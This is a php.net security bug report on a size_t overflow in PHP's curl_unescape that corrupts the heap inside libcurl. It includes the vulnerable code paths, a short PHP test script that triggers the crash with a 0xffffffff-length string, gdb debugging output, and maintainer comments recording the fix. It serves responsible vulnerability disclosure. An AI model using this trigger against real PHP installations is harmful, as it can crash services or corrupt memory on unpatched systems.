php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72541 size_t overflow lead to heap corruption
Submitted: 2016-07-04 07:42 UTC Modified: 2016-08-01 02:43 UTC
From: minhrau dot vc dot 365 at gmail dot com Assigned: stas (profile)
Status: Closed Package: cURL related
PHP Version: 7.0.8 OS: ALL
Private report: No CVE-ID: None
 [2016-07-04 07:42 UTC] minhrau dot vc dot 365 at gmail dot com
Description:
------------
In "curl_unescape" function, if we provide the string with length 0xffffffff, 

PHP_FUNCTION(curl_unescape)
{
	char       *str = NULL, *out = NULL;
	size_t     str_len = 0;
	int        out_len;
	zval       *zid;
	php_curl   *ch;

	...

	if ((out = curl_easy_unescape(ch->cp, str, str_len, &out_len))) { //<- crashes here
		RETVAL_STRINGL(out, out_len);
		curl_free(out);
	} 
	...
}

Take a loot at curl_easy_unescape in libcurl:

char *curl_easy_unescape(struct Curl_easy *data, const char *string,
                         int length, int *olen)
{
...
  CURLcode res = Curl_urldecode(data, string, inputlen, &str, &outputlen,
                                FALSE);
...
}

and Curl_urldecode:

CURLcode Curl_urldecode(struct Curl_easy *data,
                        const char *string, size_t length,
                        char **ostring, size_t *olen,
                        bool reject_ctrl)
{
  size_t alloc = (length?length:strlen(string))+1; //<- the 0xffffffff length of string above will cause value of alloc = 0
  ...

  while(--alloc > 0) { //--alloc = 0xffffffff for the first check, it will loop for 0xffffffff times
  ...

    ns[strindex++] = in; //heep overflow here
    string++;
  }
  ...
}

Test script:
---------------
<?php

ini_set('memory_limit', -1);
$str = str_repeat("A", 0xffffffff);
// Create a curl handle
$ch = curl_init('http://example.com/redirect.php');
curl_unescape($ch, $str);
?>


Expected result:
----------------
No crash

Actual result:
--------------
Some backtrace:
(gdb) bt
#0  0x00007ffff6a97218 in ?? () from /usr/lib/libcurl.so.4
#1  0x00007ffff6a97316 in curl_easy_unescape () from /usr/lib/libcurl.so.4
#2  0x00000000005fd2da in zif_curl_unescape (execute_data=0x7ffff3a15100, return_value=0x7fffffffabe0) at /php-src/ext/curl/interface.c:3601
#3  0x00000000008f8faa in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER () at /php-src/Zend/zend_vm_execute.h:631
#4  0x00000000008f8881 in execute_ex (ex=0x7ffff3a15030) at /php-src/Zend/zend_vm_execute.h:428
#5  0x00000000008f8991 in zend_execute (op_array=0x7ffff3a7e000, return_value=0x0) at /php-src/Zend/zend_vm_execute.h:473
#6  0x000000000089a765 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /php-src/Zend/zend.c:1441
#7  0x000000000080a27c in php_execute_script (primary_file=0x7fffffffe280) at /php-src/main/main.c:2515
#8  0x000000000097573b in do_cli (argc=2, argv=0x115fd50) at /php-src/sapi/cli/php_cli.c:993
#9  0x0000000000976705 in main (argc=2, argv=0x115fd50) at /php-src/sapi/cli/php_cli.c:1381

Some debug info:
(gdb) x/i $rip
=> 0x7ffff6a97218:	mov    BYTE PTR [r14+r15*1-0x1],al
(gdb) i r $r14 $r15
r14            0x12a3990	19544464
r15            0x5	5

Crash:
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff54f1218 in ?? () from /usr/lib/libcurl.so.4
(gdb) i r $r14 $r15
r14            0x12a39f0	19544560
r15            0x35611	218641
      
(gdb) i proc mappings 
process 31102
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0xe93000   0xa93000        0x0 /php-src/sapi/cli/php
           0x1092000          0x113c000    0xaa000   0xa92000 /php-src/sapi/cli/php
           0x113c000          0x12d9000   0x19d000        0x0 [heap]


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-07-13 06:05 UTC] stas@php.net
-PHP Version: 7.1Git-2016-07-04 (Git) +PHP Version: 7.0.8
 [2016-07-13 06:05 UTC] stas@php.net
Fix in security repo as 2ca8d85dd4ac6d5f8c046f339f9636e3099b0f08 and https://gist.github.com/6533bffdda9cabb14319103fa1c3aefb

Should be applied from 7.0 up. Don't think 5.x is affected.
 [2016-07-13 06:06 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-07-14 02:01 UTC] minhrau dot vc dot 365 at gmail dot com
The patch look good.
 [2016-07-18 08:46 UTC] ab@php.net
For such range checks macros from Zend/zend_range_checks.h could be used. They're additionally wrapped with UNEXPECTED(), but could also be optimized away completely if not relevant for some platform.

Thanks.
 [2016-07-19 08:55 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=2ca8d85dd4ac6d5f8c046f339f9636e3099b0f08
Log: Fix bug #72541 - size_t overflow lead to heap corruption
 [2016-07-19 08:55 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-07-19 17:59 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=159403f7952a8616bfc6858c60f5314599a36652
Log: Fix bug #72541 - size_t overflow lead to heap corruption
 [2016-07-20 11:30 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=2ca8d85dd4ac6d5f8c046f339f9636e3099b0f08
Log: Fix bug #72541 - size_t overflow lead to heap corruption
 [2016-08-01 02:43 UTC] minhrau dot vc dot 365 at gmail dot com
Hi,

Can I request CVE for this report?

I tried to reach CVE assign for opensource here http://iwantacve.org, but seem they inactive now.

Thanks.
 [2016-10-17 10:11 UTC] bwoebi@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=2ca8d85dd4ac6d5f8c046f339f9636e3099b0f08
Log: Fix bug #72541 - size_t overflow lead to heap corruption
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Mar 19 11:01:28 2024 UTC